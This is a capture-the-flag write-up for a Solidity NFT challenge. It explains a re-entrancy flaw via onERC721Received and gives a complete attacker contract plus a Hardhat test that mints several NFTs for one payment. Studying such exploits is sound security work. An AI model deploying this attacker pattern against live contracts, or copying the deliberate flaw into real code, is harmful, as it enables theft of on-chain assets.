Objective of CTF:
- Claim multiple NFTs for the price of one.
Target contract:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
contract SafeNFT is ERC721Enumerable {
uint256 price;
mapping(address => bool) public canClaim;
constructor(string memory tokenName, string memory tokenSymbol, uint256 _price) ERC721(tokenName, tokenSymbol) {
price = _price; // e.g. price = 0.01 ETH
}
function buyNFT() external payable {
require(price == msg.value, "INVALID_VALUE");
canClaim[msg.sender] = true;
}
function claim() external {
require(canClaim[msg.sender], "CANT_MINT");
_safeMint(msg.sender, totalSupply());
canClaim[msg.sender] = false;
}
}
The Attack
This contract has the good ol' re-entrancy exploit. The contract is rather innocent-looking, and the re-entrancy comes from a detail of ERC721 standard: the onERC721Received
function.
First, what is re-entrancy? Re-entrancy is when a contract is executing a function, and before the effects of that function can take place, one can enter there again to re-execute the same function without suffering from the effects. For example, you could have a function that sends you money first, and marks the storage value sent=true
next; you can keep recieving money by re-entering the function before sent=true
takes place!
A similar pattern can be observed in this target contract, where canClaim[msg.sender] = false
takes place after we actually receive our token. If this were to take place before we receive our token, re-entering the function would not work because of the require(canClaim[msg.sender], "CANT_MINT")
requirement.
So how do we re-enter to claim
function? That is where onERC721Received
comes in: this function is executed if the contract supports IERC721Receiver
interface and implements this function. Within this function, we can call claim
again, and successfully re-enter!
We will write an attacker contract that implements IERC721Receiver
, and write the re-enterancy logic within onERC721Received
. We will not only re-enter, but also forward the claimed tokens to ourselves (the owner of the contract). This way, we pay the price of a single NFT but claim as many as we would like.
Proof of Concept
The attacker contract is as follows:
contract SafeNFTAttacker is IERC721Receiver {
uint private claimed;
uint private count;
address private owner;
SafeNFT private target;
constructor(uint count_, address targetAddr_) {
target = SafeNFT(targetAddr_);
count = count_;
owner = msg.sender;
}
// initiate the pwnage by purchasing a single NFT
// we will re-enter later via onERC721Received
function pwn() external payable {
target.buyNFT{value: msg.value}();
target.claim();
}
function claimNext() internal {
// keep record of the current claim
claimed++;
// if we want to keep on claiming, continue re-entering
// stop if you think they've had enough :)
if (claimed != count) {
target.claim();
}
}
function onERC721Received(
address /*operator*/,
address /*from*/,
uint256 tokenId,
bytes calldata /*data*/
) external override returns (bytes4) {
// forward the claimed NFT to yourself
target.transferFrom(address(this), owner, tokenId);
// re-enter
claimNext();
return IERC721Receiver.onERC721Received.selector;
}
}
The Hardhat test code to demonstrate this attack is given below. Contract types are generated via TypeChain.
describe('QuillCTF 4: Safe NFT', () => {
let contract: SafeNFT;
let attackerContract: SafeNFTAttacker;
let owner: SignerWithAddress;
let attacker: SignerWithAddress;
const price = parseEther('0.1');
const count = 3; // as many as you want
before(async () => {
[owner, attacker] = await ethers.getSigners();
contract = await ethers.getContractFactory('SafeNFT', owner).then(f => f.deploy('Safe NFT', 'SFNFT', price));
await contract.deployed();
});
it('should claim multiple nfts', async () => {
// deploy the attacker contract
attackerContract = await ethers
.getContractFactory('SafeNFTAttacker', attacker)
.then(f => f.deploy(count, contract.address));
await attackerContract.deployed();
// initiate first claim and consequent re-entries via pwn
attackerContract.pwn({value: price});
// you should have your requested balance :)
expect(await contract.balanceOf(attacker.address)).to.eq(count);
});
});
Top comments (0)